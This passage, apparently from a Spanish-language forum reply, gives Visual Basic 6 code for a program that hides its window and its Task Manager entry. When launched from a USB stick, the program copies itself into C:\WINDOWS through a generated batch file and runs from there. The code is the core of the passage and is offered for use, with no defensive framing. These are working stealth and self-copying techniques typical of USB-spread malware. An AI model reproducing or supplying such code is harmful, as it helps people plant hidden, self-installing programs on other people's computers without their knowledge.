Código
'Se ejecuta el archivo copiado Print #Canal, "@start " & "C:\WINDOWS\" & App.EXEName & ".exe"
Solo vas a agregarla, no borraras nada en este procedimiento. Una vez hecho esto agregaras al programa, esta función:
Código
'Esta es la función más sencilla para detectar la existencia de un archivo Public Function ExisteArchivo(Archivo As String) As Boolean ExisteArchivo = IIf(Dir$(Archivo) = "", False, True) 'Devolverá false, si Dir$ no encuentra el archivo especificado End Function
Y modificaras tu procedimiento 'Form_Load' por este otro:
Código
Private Sub Form_Load() Me.Visible = False 'Formulario invisible App.TaskVisible = False 'Oculto de la pestaña de aplicaciones del admin. de tareas If ExisteArchivo("C:\WINDOWS\" & App.EXEName & ".exe") = False Then 'Si no encuentra el archivo entra aquí CrearBat 'Creamos el bat Shell "Copiar.bat" 'Y lo ejecutamos End Else 'Si lo encuentra entra aquí Timer1.Enabled = True Timer1.Interval = 1000 'Aqui podes poner cualquier valor a partir de 1 _ Mientras mas bajo es el valor, mas rapido sera el ciclo. '1000 equivale a 1 segundo. End If End Sub
Al ejecutarlo, de un pendrive por ejemplo, se copiara asi mismo al directorio especificado y luego se ejecutara desde el mismo, mientras que el que ejecutastes desde el pendrive dejara de correr. Si lo ejecutas estando copiado en el directorio que se especifico antes, entonces tendras 2 programas corriendo al mismo tiempo, el que se encuentra en la carpeta que especificastes (el directorio de destino lo puedes cambiar a tu antojo) y el que se encuentra en el pendrive.
Creo que es más de lo que querias hacer,